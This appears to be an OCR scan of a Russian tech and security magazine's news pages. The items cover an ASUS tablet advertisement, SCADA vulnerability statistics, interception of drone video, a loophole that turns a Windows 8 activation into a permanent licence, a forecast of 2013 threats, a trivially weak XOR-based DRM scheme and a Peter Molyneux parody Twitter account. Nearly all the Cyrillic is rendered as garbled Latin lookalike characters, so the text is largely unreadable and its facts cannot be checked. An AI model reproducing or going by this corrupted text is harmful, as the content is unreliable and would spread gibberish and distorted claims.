etcs 32 rurabaita B cepsuice ASUS
WebStorage.

NVIDIA Tegra 3

PaboTty HoyTbyka obecneunBaeT nonyaspHenwmnii yuncet Tegra 3.
YeTblpexbaAepHblii NPOLIECCOpP 1 MOLLHas rpaduyeckas MoAcucTe-
Ma Mo3BOJIAT UrpaTh B COBPEMEHHbIE UPbI C OTANYHO rpadukom u
KOMDOPTHO paboTaTb € MyNbTUMEANIAHBIM KOHTEHTOM. MolLHas Ha-
UMHKa Tak>Xe obecrneunBaeT NaaBHyH 1 CTabubHyo paboTy cucTeMbI
1 N1H06bIX MPUNOKEHUI.

fi

[NMonHas
MOOWIbHOCTb

Bec VivoTab RT cocTaBnsiet 535
rPaMMOB, a C KJ1aB1aTypon — uyTb
60oblUe kunorpamma. Mpu 3Tom
651arogaps AONONHUTENBHOW AOK-
CTaHUuu Bpems paboTbl OT 6aTapen
cocTtaBaseT noytn 16 uacos. Kpome
TOro, onuuoHansHo VivoTab RT mo-
XeT ocHawaTtbca 3G-Mogynem, 4to
no3soseT pabortatk B 106OM MecTe.

‘&

[na pabotbl
W pa3BeYeHNI

Ha nnaHwerte npegycraHoBeHa
npeABapuTenbHas Bepcua Office
2013, 4yTO NO3BONSET YXKe ceiyac
nonpo6oBaTh CeAYHOLLYH BEPCUIO
cpeapl AnA paboTbl € JOKYMEHTa-
MW, 3/1eKTPOHHBIMU TabauLamu v
npe3eHTtauuamu. ObHoBAEHWE A0
dU1HanbHO Bepcumn ANs BRajenbLeB
VivoTab RT 6yaet goctynHo 6ec-
nAaTHo.

~

MeguiiHas peanbHOCTb

[naHweT ocHalleH cpasy AByMA kamepamu. 3aAHAA kamepa Ha 8 mera-
nuKcene No3BossfeT cHuMaTb Buaeo B dopmare Full HD, a nepeaHss
Kamepa OT/IMYHO NOAONAET ANA BUAEOKOHdEPeHLMI B Skype 1 Apyrux
MecceHzxepax. [lna npocMoTpa KMHO Kak HeAlb3s KCTaTu ByaeT Apkui
IPS-3KpaH 1 ueTbipe cTepeosnHamMka ¢ GPMEHHOV TEXHONOTVEN
SonicMaster.

NN NN

A R i

i

ASUS VivoTab RT
8 noBoaoB ANnA pagocTn

BT B g e
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Nrobble
akceccyapbl

Brarogaps gok-craHumm VivoTab RT
OCHalLeH NoNHOGOPMaTHBIM NOPTOM
USB, uT0 no3BoaseT ncnoab3oBaTb
BHELUHWE HAaKOMMUTENW, MbILIKU U
apyryto nepudepwto. MNogaepxka
Bluetooth u NFC no3Bonset nerko
NoAK/YaTbCA K 6eCNPOBOAHBIM ak-
ceccyapam 1 0bMeHuBaTbCA MHPOP-
MaLmel C ApYrMMU YCTPOMCTBAMM.

2

Jkocmctema Microsoft

Brarogaps HoBoi Windows VivoTab RT otinyHo B3aumogeiicTeyet

¢ Apyrumm npoayktamu Microsoft. Ecivm uHTerpauus co cmaptgoHamu
Ha Windows Phone BnosHe oxugaema, T0 KyAa UHTepecHee npu-
NoxeHne Smartglass, no3sonstoLLee ynpaBasTb KOHCObIO Xbox Ans
NPOCMOTPa KNHO Ha 60/1bLLIOM 3KpaHe.

wlr,
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MEGANEWS

XAKEPY ANARCHAOS (ogHOMY M3 apecToBaHHbIX 4ieHoB LulzSec) rpo3nT oTTpMAL AT IET A0 NOXU3HEHHO0 3aKJTIOYEHNs.

CAMBIE YA3BVIMbIE
N TONYJTAPHBIE SCADA-CVICTEMB

AHAJIMTUKA3ATNEPHUO/ 2005-20121040B

CneumanncTbl KOMNaHWY NPOaHaNN3MpoBaNuys3BMMOCTH, 0OHapYXeH-
Hble B npoMbliLneHHbIx SCADA-cucTeMax, 0AHaKO B OTHET BOLLSIM JaHHbIe
He3anocnefHuiirog, Ho3anepuogc2005roga foocenn 2012 roga. Y1obbl oLeHUTH
nonynspHocTb caMoin ACY TI1, aHanuTukm Positive Technologies ucnons3osanu
CTaTUCTUKY BakaHCcUi Ha caitTe hh.ru. B cBoto ouepefib, nofcunTaTh ya3BUMOCTH
B cucTemax nomornu 6assiyassumoctent (ICS-CERT,NVD, Bugtraq), ysegomne-
Hus paspaboTunkos, cbopHuku akcnnoiiTos (SAINTexploit, Metasploit, Immunity
Canvas)utak ganee.

Hanbonee nonynspHoi okazanacb koMmnanusa Siemens ¢ pelueHusamu Step 7
(6onee 22%), WinCC (cabiwe 18%) u PCS 7 (no4tn 8%). Cnegom nayt Wonderware
(InTouch HMI, 6onee 12%) nlconics (Genesis, cBbilue 5%). 3gecb aHanuTukm Positive
Technologies oTMe4atoT, 4T0 B CMUCOK He MOManu HeKOTOPbIe NONYASAPHbIE 0TeYe-
CTBEHHble NMPOAYKTbI, 00 ysI3BUMOCTSX B KOTOPbIX HUYETO HE U3BECTHO, TaK Kak OHM
pefKo BbIBOAATCS BO BHellHWe ceTu. B uenomnepnop 2005-2010 rogoBs 6611 TUXUM
M HaCUMTLIBA INLWb AEBATb ysi3BUMOCTeA. [lanbliue HTEpPeC K TEMe NOACTErHynN
Stuxnet, uB 2011 ropyaToTnokasaTenb BbIPOC 40 b4, a3anepBble Tpu KBapTana 2012
ropa obHapyxeHo 98 HOBbIX Ablp—60Mblie, YeM 3a BCe 0CTaslbHOE BpeMs Uccneso-
BaHWs. 3a BECb PAacCMaTpPMBaEMbIN NEPUOL HAUBOMbLLIEE YUCII0 yI3BUMOCTEN bbino

m omnaHus Positive Technologies ony6nvkoBana nobonbiTHbIA 0TYeT.

BECHWJTIOTHNKN
B OMACHOCTW!

NEPEXBAT KAPTUHKU CBOEHHbLIX APOHOB

eCnuOoTHble leTaTesbHbIe annapaTbl—3TO HE TONIbKO
npukonbHble ragxeTsl Bpoge Ar.Drone, Ho v cepbes-

Has boeBas TeXHUKa, KOTOPYIO LUMPOKO UCMONb3YIOT

HalifeHo B pa3paboTkax Siemens.

[53) vnware

VMWARE COOBLLUJIA,
YTOYTe4yKaMCXOAHUKOB
runepeu3opa ESX okasanacb
cepbesHee, yeMnpepgnonara-
nocb. MoXeTnn3TOHaBpeAUTbL
KnmeHTamVMware, Heus-
BECTHO.
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HAYAJIUCb MPOAAXHU
RASPBERRY PIMOJEJIN «A».
Bcero3a25paonnapoB Tbinony-
ynwb npoy ARM 11 cyacToToi
700 Ml crpapuyeckum
npoueccopoM cnopaepxKon
OpenGLES2.01256 M6 03Y.

Takxe Positive
Technologies us-
YYUNNyS3BUMOCTH
ACY TN, oTKpBITLIX
BobLyloceThb.
0OKa3anocb, 4TONOUTH
TpeTboTobwWero
yucnatakuxSCADA-
cucTeMHaxoauTes
8CLUA(31,3%).BTopoe
uTpeTbe MecTa
c60NbLINMOTPLIBOM
poctanuck Utanuu
(6,8%) nH0xHoi Kopee
(6,2%).

®PAHLY3bl U3 VUPEN
SECURITY OBBABUJIU,
YTONepBbIN 3KCMAONT
anaWin8 +1E10cHiASLR/
AntiROP/DEP &ProtMode
CBbIXO/,0M U3 NECOYHULIbI F0-

TOBUBbICTaBJIeH HanpoAaxy.

BOEHHble MHOrUX CTpaH Mupa. BuacTHocTu, apmus CLUAyxe
MHOr0 1IeT NPUMEHSIeT AN1S CBOWX OnepaL it 6ecnmnoTHUKK
Predator n Reaper, ocHalyeHHble BUAeOKaMepaMu. IHTepecHo,
4TO MPW 3TOM [LPOHbI HE YKOMMIEKTOBAHbI XOTb KAKUM-T0 060py-
[L0BaHWeM ns lMdpoBaHUs BUAEOMNOTOKA U CMOKOMHO BeLatoT
«BOBHe» no npotokony Common Data Link. O saHHo npobneme
M3BECTHO [,aBHO, M ele B aanekom 2008 (!) rony oHa nepectana

BbITb TEOpPETHYECKON.

Torpaupakckye onoaYeHLbl HayYUNKUCh NepexBaThiBaTh BU-
[,e0MNO0TOK C aMepPUKaHCKUX POHOB, UCMOMb3Ys MPUMUTHBHBbIN
codTCTONMOCTbI0 26 L0NNAPOB. [1eHTaroH Toraa KNS TBEHHO
33aBepuI 06LLECTBEHHOCTb, YTO Ablpy 3aKpotoT, GecnunoT-

HUKMW MepeBefyTHa iPYron MPOTOKOJ U, KOHEYHO XKE, HAYHY T
wndposaTb BUAe0. Kak BbiicHuan Buaanuv Danger Room,

BO3WHbIHE TaM.

MpownoyeTbipe rofa, n okasanoch, 4To Tonbko 30-50%
L POHOB Ha AaHHbIA MOMEHT OCHACTUNM WNdPOBaNbHBIMU Ne-
pefaTynKaMmu, Apyrue no-npexHeMy «TpaHCaMpyT» BULEO
BOTKpbIToM BUAe. Danger Room coobuatoT, 4To ocHacTUTh
BeCb GpIOT LWNPPOBAHUEM, TOXOXE, MONYYUTCS HE paHbLUe

2014 ropa.

AHOHUMYCBHOBb MOOBE-
LW AN BCKOPOMBPEMEHU
3anycTutb «cBoto Wikileaks».
CTanom3BecTHO, YTO NPOEKT
6yneTHasbiBaTbcATYLER,
aBeroocHoBe NeXuTP2P-
npoTokon.

MICROSOFT MOKAHE NJA-
HUPYET nopTtuposatb DirectX
11.1 cnopnepxKoii ctepeo
Kypaa-nu6o, kpome Windows 8.
MeyanbHasi HOBOCTb ANISATeiA-
MEepOB U COYYBCTBYHOLLMX.
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BAHKOBCKWUMW TPOSIHEL,EUROGRABBER 050KPAJ130 000 YEJIOBEK, NpMHecs CBOMM co3faTeNsiM 0KoJ10 36 MUNIMOHOB eBpo, coobuyaeT Versafe.

JIEI KM ABVIXXEHWMEM PYKI
WINDOWS NMPEBPALLLAETCAH...

KAKMUPATCKAS «BOCBMEPKA» CTAJIAJIMLLEEH3UOHHOM

ntyauus Bokpyrebixofa Windows 8 nTak crioxunacb HeojHo3HayHas

(MHOrMe BUAHbIE AeATe M BbICKa3biBanuch o Hosoi OC gocTaToyHo

pe3Ko, OMPOChI NOKA3bIBAlOT, YTO NEPEXOANTb HA «BOCBMEPKY» CO-
BrpaeTcs He CMLLKOM 6ONbLIOK NPOLLEHT NoNb30BaTeNen, MTak faneel, atyT
elle nofocnena HoBOCTb 0 TOM, 4To NupaTckyto Bepcuio Windows 8 npu nomotum
napbl NPOCTbIX MAHUMYAALUNA MOXKHO NPEBPATUTD B IULLEH3NOHHYIO.

06bHapyxunu 31oT bar nonb3osatenu Reddit. Okazanocs, 4To cucTeMa akTn-

Bauuu Windows 8 Taut B cebe koBapHyto ooy, 6naropaps kotopoit OC MoxHO
npeBpaTUTb B NINLLEH3KOHHYt. BecnnaTHo u npocTo. Cnocob pabotaet ans Windows
8 Pro, akTMBMPOBaHHON BPEMEHHbIM KJ11040M (BO MHOTVX Clydasix akTUBaLMs cpa-
BaTbiBaeT Jaxe Ha CBEXKeM CUCTEME, TaK YTO BPEMEHHbIN K04 HE HyXKeH).

YT10bObl pernucTpaLmus M3 BpeMeHHoM npeBpaTniach B NOCTOSHHY0, foCcTa-
TouHo 3arpy3uts Windows Media Center (WMC) ¢ caitTa Microsoftnycra-
HOBWTb MPOTrpaMMy Ha KoMnbloTep. [lesio, noxoxe, B ToM, 4To Media Center
L0JKeH 6611 BOMTM BYACTb NIATHONO NakeTa, HO B NOCAeAHUA MOMEHT ero
pewmnnucaenaTs becnnatHbiM anrpenpom fo 31 aueapa 2013 roga. Ceitvac
CNpUNOXKEHMEM JaeTCs KNI0Y, KOTOPbI (M0 oWwnbKe, KOHEYHO) akTUBUpYeT
He Tonbko caM WMC, Ho 1 BCIo cMCTeMY B LLeSIOM, MPUTOM Ha HeorpaHuyeHHoe
BpeMs! 3amMeyy, YTo Ha MOMEHT HanNWCaHMA 3TUX CTPOK CNOCOD NO-NpexHeMy
paboTan.

Move up from Windows 8 to Windows 8 Pro

i o i ———

16+ & bmuiad s, et Wissllows B Pra Pk Lar YRR TR0

Add Windows Media Center to Windows 8 Pro

Frot it B gt Wi, B Mok L ikt P Bt b
a1

25-3HayHbIN KNtoY ¢ caliTa Microsoft npucbinaloT B nucbMe BTedeHne 72 4acoB Noc/e Nofa4mn 3asBKHu.

HEO)XXWUAAHHDIE PE3YJIbTATbI AV-TEST

AHTUBUPDb MICROSOFT
SECURITY ESSENTIALS EAUH-
CTBEHHbIUHE CYMEJINPOUTH
TECTHE3ABUCUMOI'O UHCTU-
TYTAUT-BE3OMACHOCTH
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SYMANTEC MPO3PEBAET
BYNYLLEE
KWUBEPBE3OMNACHOCTbB2013roay

pOLLEeALWMNIA FOf OblST HE CAMbIM JIETKUM A5 KOMMaHUK

Symantec—yTeuykn MCXOLHUKOB U XakepCckue aTaku

NoANOpPTUIM PenyTaL o KOMNaHUW U HePBbI €€ COTPYS-
HuKoB. TeM He MeHee Symantec ocTaeTcs cepbe3HbIM UTPOKOM
pblHKa MHGOPMaLLMOHHOM 6e30MacHOCTH, MOITOMY MPOATU MUMO
MHTEPEeCHOr0 aHaMTNYeCKOro MPOrHo3a KOMNaHWMU Mbl He CMOT-
an:). CneunanucTsl Symantec onpocuan COTHU WTATHBIX M He3a-
BMCWMbIX 3KCMEPTOB N0 6€30NacHOCTM, CObpany MHOXECTBO UAEN,
nopaboTanu c noNyyeHHbIMU JaHHBIMU, NPOBELS KONNEKTUBHbI
MO3TOBOW WITYPM, U B UTOTe MONYYUIIN MHTEPECHbINA NPOTHO3
Ha 2013 rog. Tak, kKakne TeHLEHUUM KLY T HAaCc B3TOM rogy?

-

Knbeppasbopku ctaHyTHopMo#. HaunHas c 2013 roga, no-
KaNbHble KNbepKOHGNUKTHI MEXAY FOCY[apCTBaMM, OPraHu-
3aUMSMU M YaCTHBIMU IML,AMK By Yy T UrpaTh KIKYEBYI0 POSb
B CeTu.[puMepbl nocnefHUX NeTnokasanm, YTo Yepes uHeT
MOXHO 0CYLLeCTBNATL 3G GeKTUBHbIN LWnnoHax. B2013 rogy
rocynapcTBa, YacTHble KOMMNAHWW M OTAENbHble TpaxaaHe byayT
MCMonb30BaTh KMbepaTaku TakKe 418 [eMOHCTPALIMM CUTTbI
WM B KayecTBe «NocNaHuns» CBOUM onnoHeHTaM. KpoMe Toro,
BHOBOM FOZly HE YCMOKOATCS M TakK Ha3blBaeMble XakTUBUCTI.
2. ManBapb, KoTopas TpebyeT AeHer n3anyruBaeT nosb3o-
BaTenei. DanbLinBbIe aHTUBMPYChI MPOAOJSIKAT CBOE YEPHOE
[1eN10, HO CTaHyT AeMCTBOBATbL XECTYe U eCTPYKTUBHee — by-
LyT670KMpOBaTL CUCTEMY, LUNPPOBATH Gaisibl, 3anyrueathb
nonb3oBaTenieli NpUCyTCTBMEM Ha MalLMHe BUPYCOB M TaK fjanee.
JkcnepTbl nporHo3upytoT, 4To B 2013 rofy Wupe pacnpocTpa-
HUTCA UMEHHO «BU3Hec-MoAeNb», FAe rNaBHas Lefb—3anyratb
noNb30BaTeN U NPUHYANTb EF0 HEMEJIEHHO OTNPaBUTbL AeHbIU.
3. Mob6unbHble 310Bpeabl CTaHYT ewwe nonynspHee. Tobko
3anocnefHue 1eBATb MECSALEB KOJIMYECTBO BPEJOHOCHBIX
MOBOUNBHBIX NPUI0XKEHNI Bbipocio Ha 210%, Tak 4To TEHAEHLMS
oyeBMAHa. MHOrMe 13 pa3paboTynNKoB peKIaMHbIX 3N10BPEA0B
TakXXe paboTaloT NOA BUAOM NerasbHblX KOMMNaHWIA, KOTOpble
noMoraloT MOHETU3NPOBATb «becnNaTHbIe» NPUIOXKEHUS NOS,
Android.
4. MoHeTM3aums couManbHbIX ceTe NPMHeceT HOBbIe onac-
HOCTK. [ToNb30BaTeNN N3NNLLHE AOBEPSIOT COLMANbHbLIM CETSM
M XpaHATTaM nepcoHanbHble aHHble, TPATAT AeHbr M Ha UTpbI,
napsTnonapku apy3sbsm. Bckope Facebook cobupaetca Ha-
4aTb OYEPESHOM 3Tan MOHETN3aLIMM, B XOLL€ KOTOPOTo A0JKHA
NOSBUTLCS NIaTHAs BO3MOXKHOCTb JOCTaBKW N0O4APKOB.
EcTecTBEHHO, 3T0 OTKPOET HOBbIE BO3MOXHOCTU 151 3710~
YMbILWNEHHUKOB. [TnaTexHble AaHHble NONb30BaTeNel U ApY-
rasinoTeHLUManbHo onacHas nHdopMaLns byayTUcnonb3o-
BaTbCA B COLMANBHOMN CETH, 4TO 06NErYnT KpaXxy.
5. Monb3oBaTenu nepexofaT HAMo6UbHbIE YCTPONCTBA
nBobnaka,akubepnpecTynHMKN TAHYTCA 32 HUMHK. CTpe-
MUTEeNbHBIA pocTBpefoHocHoro M0 gns Android 82012 rogy
rOBOPUT O TOM, YTO KMOEPNPEeCTYNHWUKM CNefyoT3a TeHAeHLN-
MU pblHKa. Kak Tonbko Android cTan nonynsipeH, MOLEHHUKHN
nepeopueHTUpOBanuUCh Ha Hero. Cneunannctsl Symantec
CYMTAIOT, YTO CKOPO MOOMbHbIE yCTPONCTBA M 0bNayHble
cepBUCH DYy T NpUHOCUTL KubepnpecTynHUKaM foxos,
CPaBHUMBIV C LOXOAOM OT NaTHbiX SMS. Bo3aMoXxHO, Xxakepbl
HalayTapdeKTUBHbIE cnocobbl BHEAPATLCA B YYXUMe NaaTexX-
Hble CECCUN M OCYLLeCTBNEHUA GPOLOBbIX TPaH3aKLMA. KToMy
XeBnocnefHee BpeMs NPOSBUANCE NPOBIeMbI C FpaMOTHO
peanu3aumein SSL B MobUNbHbIX NpUAOXeHUAX. AKTUBHas
3KCMNyaTalLns ya3BUMOCTEN TAaKOro POAA MOXET HaYaThCs
82013 ropy.
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NPUJIOXKEHUE DR.WEB [1J1l ANDROID (B nonHoii u light-sepcuu) 6b110 ckayaHo 6onee gecsaT MUNIMOHOB pas, NoXBacTanach KOMNaHUS.

DRMISFORLULZ

CMELUHOW MPUMEP CUCTEMbI 3ALLUTbI OT KONUPOBAHUSA

CKAHEP-PEKOPLCMEH

AANOHLbI NOKA3AJINOAUH U3 CAMbIX BbICTPbIX CKAHEPOB B MUPE

aHWUMaTesbHY UCTOpUWio NoBefan B cBoeM biore Swep JleHr-

TOH, COTPYAHUK JIuBEpMOpCKOM HaLuMoHanbHo nabopaTopun.

Byayun 3aKoHOMOCAYLWHbLIM FpaXgaHuHoM, JleHrToH nprob-
pesBOHNaNH-Maras3uHe HeKNii GunbM v cobpancs NpusTHO MPoBECTH
Beyep3aeronpocMoTpoM. Ho, Kak 3To 4acTo bbiBaeT C 3aLUNLLEHHBIM
KOHTEHTOM, GnnbM noTpeboBan ycTaHOBKM Nieepa 0T KOMNaHWUK
Leaping Brain.CyctanoBkoi [0 HaiPhoney JleHrToHa BO3HWKAM Npo-
6neMbl, NbiTasicb pa3obpaThCs C KOTOPLIMU OH 06HapPYXWA, 4TO UbM
NeXWT B CKPLITOM Nanke, B BUAe caMblX 06bI4YHbIX haiinos dopmaTta mov
(MponrpaTtb KoTopbIe He yAaNoch). YAMBMBWUCD, JIEHTTOH MPOA0I-
XUNTKONaTb U BCKOpe NpuLLIeN K BbIBOAY, YTo naeep oT Leaping Brain
He YTo MHOe, Kak cKkpunTHa Python, nocTpoeHHbIN BOKPYT HECKONbKUX
6nbnunotek VLC. OH coBeplian kakue-To fecTBUS Ha Gaiinom, npe-
XIeyeMoTaaTh ero nneepy.

JleHrToH cpaBHMI 06paboTaHHbIN dpaiin c 3aWnMPpPoBaHHBIM.
OKa3sanocb, 4TO «HENPUCTYNHbLIA aNrOPUTM LUNPPOBAHUA» CBOANTCS
KToMy, 4To B nepBbix 15 knnobaiTax daitna HeCKONbKO HavanbHbIX
6aiToB Kaxgoro knnobanTHoro 6aoka 6binm XORHYThI C «CEKPETHBIM
KNI040oM», @ UMeHHO cTpokot «kRANDOM_STRING».

Y>e 3T0 CMeLLHO, HO BULLEHKOW Ha TopTe cTano YTeHue pasgena FAQ
Ha caiiTe koMnaHuu Leaping Brain. lponssogutennysepsioT, 4To UM
«Heun3BeCTHO 0 CyllecTBOBaHUM bonlee HafleXXHOW CXeMbl, YeM 3Ta.
Windows Media DRM nerkonogpaetcs B31oMy u paboTtaeT ToNbKo nog
Windows, Torga kak anroputm BrainTrust oTnnyHo paboTaeT Ha noboi
nnathopMe 1 ero npakTUYeCKM HEBO3MOXKHO B3/10MaTb».

1000 cTpaHuL 32 90 MMHYT cnocobeH ouudpoBaTh CKaHep, CO3AAHHbIN MHXKEHEPOM
Google Benpx: Cradd 3roanacp

Hall BeK NNaHLWeTOB M 3NeKTPOHHbIX KHUT Mbl MOPO He-
cnpaBefvBo 3abbiBaeM 0 CyLLECTBOBAHNM 0ObIKHOBEHHBbIX
KHMXEK — ByMaxHbIX. ABefib BONpoc ouudpoBKM ByMaxKHo
NINTepaTypbl No-NpeXHeMy OTKPbIT ¥ 04eHb akTyaneH. HeT, BoBce
He 7151 MMPaToB, Kak MHOTWe Ceiyac noAyManu, Ho Ans bubnunoTtek nHa-
YUYHbBIX y4pexjeHuit. B aToM cBeTe fleTULLE SMOHCKUX YYeHbIX KaxeTcs
HEe MPOCTO KPYTbIM, HO ¥ BECbMa MOJIe3HbIM arperaToMm.

CkaHep BFS-Auto (book flipping scanning) cozgaH yueHsiMu Toknii-
ckoroyHusepcuteTa (nabopatopus Mwmkasa Oky). CTout oTMeTUTS,
4To3Tanabopatopua fonroe BpeMs paspabaTbiBana TeXHONOTUIO
CBEPXDObICTPON CHEMKM 00BEKTOB B IBUXKEHUN C HOPMasbHbIM GOKYCOM.
[0TOBYI0 TEXHONIOTUIO AMOHLbI PELUWIN MPUMEHNTb Ha NpakTuke. BFS-
Auto cnocoben oundpoatb 1000 cTpaHuL 3a 4eTbipe MUHYTHL. To eCTb
eronpon3BoANTENbHOCTb paBHa 250 CTpaHuUL, B MUHYTY, @ 3T0 04€EHb
1 0Y€eHb BbICOKWIA NOKa3aTeb.

CkaHepycTpoeH BecbMa npocTo. KHura pacnonaraeTcs Ha cneuu-
anbHOM MOACTaBKeE, HaJ KOTOPO yCTaHOB/IEHO YCTPOMCTBO A4S nepe-
AINCTBIBaHNS CTPaHWL. Jlazepbl opMUPYIOT Ha MOBEPXHOCTU OTKPbITON
KHUTW CeTKY, NoCie Yero ckaHep Aenaet cCHUMOK. CbeMka Nnpon3BoanTCs
CHECKONbKMX PakypcoB, NOC/Ie Yero Bce TPW OTCHATbIE Kafpa aBTOMa-
TUYeCKM 06 benHATCA. 3TO NoMoraeT M3bexaTb UCKaXEHWI, KOTopble
00bIYHO MOFBAATCA NPU 06IYHOM CKAHUPOBAHUMN.

KTOHA3bIBANAUCNNIEUC CO-
OTHOLUEHUEM CTOPOH 16:9
«TaHKowwenbio»? PapgynTecs,
Tenepb Bbl yBUANTE HACTOSALLYIO
6oMHMLY — cpa3y paAKoMna-
HWi aHOHCUPOBANIN MOHUTOPBI
CCOOTHOLWEeHNeM CTopoH 21:9!
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CkaxeM, MoaenbLGEA936a3u-
pyetcsiHalPS-maTtpuue, uMeet
anaroHanb 29" upaspeluexue
2560x 1080 Touek. KcTaTu,
CTOMTb TaKoW MOHCTp GyaeT
Bcero 634 ponnapa.

NMPABUTEJIbCTBOP® HA3BA-
J10 «6opbby c pacnpocTpaHe-
HWeM HeneranbHoro KOHTEHTa,
BTOMYMCJIE CUCMONb30BaHUEM
TOPPEHTOB O[{HOI U3 OCHOB-
Hbix3apaupo2018ropa.

MOYTUB ABAPA3ABOJIbLLE
MAJIBAPUANA MOBUJIbHBIX
YCTPOMCTB 6b110 06HapyXeHo
BTpeTbeMkBapTane2012ropa,
coobwunakomnanus McAfee
BCBOEMoOTYeTe.
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MAJIATANO MATEHTHBIM CITOPAM He 06Hapyxuna B u3obpaxeHuu iPad «oTnnuuTenbHbix 0cobeHHOCTEN» M NOBTOPHO 0TKa3anaApple B peructpauuu.

KAKBLOXHOBWTBCH
TPOJUTMHITOM B TWITTER

YAUBUTEJIbHAA UCTOPUA MUTEPAMOJIUHBE

aBepHsika uMs [nTepa MonnHbe 3HaKOMO HaLLUM YUTaTeNAM.

Ha BCsikWii ciiy4ai NoSCHAM M HaMoMHWUM, 4To 3ToT be3 npe-

yBenYeHNs nereHfapHblii paspaboTunk urp npuayman Black
& White, The Movies, Fable n MHOXeCTBO Apyrux 04eHb HEOBbIYHbIX
UrpyLIeK, KOTOPbIM 3a4aCTyi0 NPUCYLLM YepTbl cuMynsTopa bora.
KcTaTtn, MonnHbe aBAsieTCs pojoHavaibHUKOM 3TOr0 XaHpa. Ycnen
MonuHbe NpMHATL M HEMOCPeCTBEHHOE yYacTue B co3aaHnm Microsoft
Kinect, nopabotatb B Electronic Arts nocHosatb Lionhead Studios.

OfHako, HecMOTps Ha Bce 3TW beccnopHble 3acyru «nepegobuje-
cTBOM», [TuTep MonnHbe BCeraa ocTaBanCci IMYHOCTHIO HEOHO-
3HaYHOW M JOBOJIbHO IKCLLeHTPUYHON. HanpuMep, oH cnaBnTca TeM,
4T03aL0/r0 0 pefin3a urpbl N0OMUT pacckasaTtb 0 Kakon-HUbyab daH-
TacTNYeCcKon GyHKLMOHANbHOCTH, KoTopas obs3aTenbHo byaeT B Ko-
HEYHOM MPOAYKTE, HO B UTOTE, pa3yMeeTCst, HUYero nofobHoroB urpe
He obHapyxuBaeTcs. 13-3a3T0ro MonvHbe NpUXoannoch AecaTku
pa3u3BuHATbCA Nepefnybnukoi. CnosoM, naeny MonuHbe Bceraa
6110 AaXe CANWKOM MHOTO, ¥ peann3oBaTb ux Bce (1 peanusosats
npaBunbHo) ynasanock ganeko He scerga. Becoin 2012 roga Mutep
MonnHbe HeoXMUAaHHO ANA BCex 06baBMA, 4To NokuaaeT Microsoft
nLionhead papu ctaptana 22 Cans, KoTOpbIi OH 0CHOBaNl COBMECTHO
CHeKoTopbIMU COTPYAHUKaMK Lionhead. HanoMHuM, yTo ceityac nerex-
AapHoMy pa3paboTymnky 3a NATbAeCAT, Tak YTO ero peluerune bpocnTsb
BCE BbIMNSAAEN0 LeNCTBUTEIbHO CTPAHHbBIM.

Ewe 6osnee cTpaHHbIM 4151 MHOTUX CTaN0 TO, YTO Ha 3TOT Wwar Mo-
NINHbE BAOXHOBU... ABONHUK-TpONb 13 Twitter. HeT, 3To He wyTka.
C2009 ropa s Twitter nossuncsa nonb3osatens @PeterMolydeux, koTo-
pbif feHb 0To fHA nybnukoBan 6e3yMHble M cMellHble uagen urp. Yero
TaMTonbKo He 6bino! irpa npo noyTanboHa c PeHTreHOBCKIM 3peHNEM.
MrpanpoBoobpaxaeMorojpyra, KoTOporo Hy>XHo ybeanTb B peanbHo-

NPOLLJIMONEPALIUU «KUBEPNOHEAEJNIbHUK» U «TPAHCATJIAHTUKA»

®EEPAJIbl U3 CLLA (ICE) BMECTE
CNPABOOXPAHUTENAMMU EBPOIbI
KOHOUCKOBAJIN 132 AOMEHA

Y TOProBLLEB KOHTPA®AKTOM
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3aakkayHToM [@PeterMolydeux, kak okasanocb, ckpbiBancsi Agam KanoHe —Monopoi
MrpoBoi AN3aitHep, ewe B AeTCTBE NoNio6uBWMA Mrpbl MonuHbe (BuacTHocTH, Theme
Park). LLyTo4HbIA aKKaYHT OH OTKPbLJ, KOFAa MOHSA, 4TO eMY 0THASIHHO X04eTCs, 4T06bI
6onblee yucno aeBenonepoB He 60aNUCL B3BaNUBaTh Ha ce6si HENOCUIbHBIE U NOYTH
HeBO3MOXHble 3afla4u, Kak 3To Bcerpa aenan Mutep MonuHbe.

CTU rNaBHoro reposi. FoHKW, rae Tbl ynpaBnasiellb He MallMHaMK, HO f0-
poroit. rpa, rie nepcoHaX npuTBOPSeTCs CNEeMbIM W L0JKEeH HaTbl-
KaTbCs Ha OKpYXKatolive npeMeThbl, 4abbl He BbI3bIBATh NMOJ03PEHUN.
MynbTnaeep 4ns BOCbMU UTPOKOB MPO OFPOMHOr0 0CbMUHOT, Fie
KaXK bl UrPOK ynpaBaseT CBOUM LynablLieM, K KOTOPOMY NpuKkpense-
Ho opyxue. HacToswui nup ayxa. Bckope Ha akkayHT nognucannce
Takune MoHCTpbl, kKak Kotaku n GameSetWatch, wyTtHnka dbonosunu yxe
LeCATKM TbiCAY Ye10BeK, M BCE Fafasiu, KTO XKe OH TaKow.

OavH ToNbKo MonnHbe cYnTan BCe 3TO pa3fpakatolnm, a Ly THUKA
Xankum. Bpems wno, n MonuHbe 3aMeTn, YT Ha4an NPOHUKATHCS
K CBOEMY IBOMHWKY cuMnaTuen. Erongen, koHeuHo, 6biau gypaukumu
 CMELLHBIMU, HO B TO XKe BpeMsi BeCbMa MHTepecHbIMU. CTaHoBUIOCh
ICHO, 4TO KTO Bbl HM CTOSA/1 33 BCEM 3TUM, OH BeCbMa yMeH. MoninHbe
CTan BOCMPUHUMATbL TBUTHI ABOMHIKA KAk NOCAAHUS 0T COBCTBEHHOTO
MOJIOf,0r0 aflbTep 3ro, BCMOMHUII TO BPEMS, KOT/,a XOTEJ1 M 0THASHHO
CTPEMWICS CO3L,aTh TaKYI0 UTPY, KAKOM MUP HUKOT A He BUJieN paHblue.

BceaTtonpusenoktoMmy, ytoBecHon 2012 rofa oH peLmna nonpo-
boBaTb elle pa3: bpocKUTL BCE M NOMBITAaTHCSH BOMNAOTUTb BXKU3Hb CBOU
6e3yMHble 1 He NOX0XMe HU Ha YTo naeun. Tak 6bina ocHoBaHa cTyaus
22 Cans.[Toka, KpoMe HeojHO3HauHoro npoekTa Curiosity, cTyans
Monunbe BbiBena Ha Kickstarter cumynstop bora Godus, MuHUManb-
Has cyMMa UHAHCMpPOBaHWs KoToporo cocTaBnsaeT 450 Tbicay pyHTOB
cTepauHros. Cbop cpefcTB Havyancs B KOHLe HOS6ps.
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TPEX MPOrPAMMKCTOB
CnoXHO NpeacTaBnThb, CKOJIbKO Jtofen no-
npexHemy cozgatoT nanku v0001, v0002, 4yTobbl
XPaHUTb UCXOHUKM Pa3HbIX BEPCUIA CBOETO
npoekTa. Ho 4 3Hato To4yHO: nx MHoro! 3a no-
CNefHWiA FO4 MHE He pa3 NPUXOAWIOCH MOBTO-
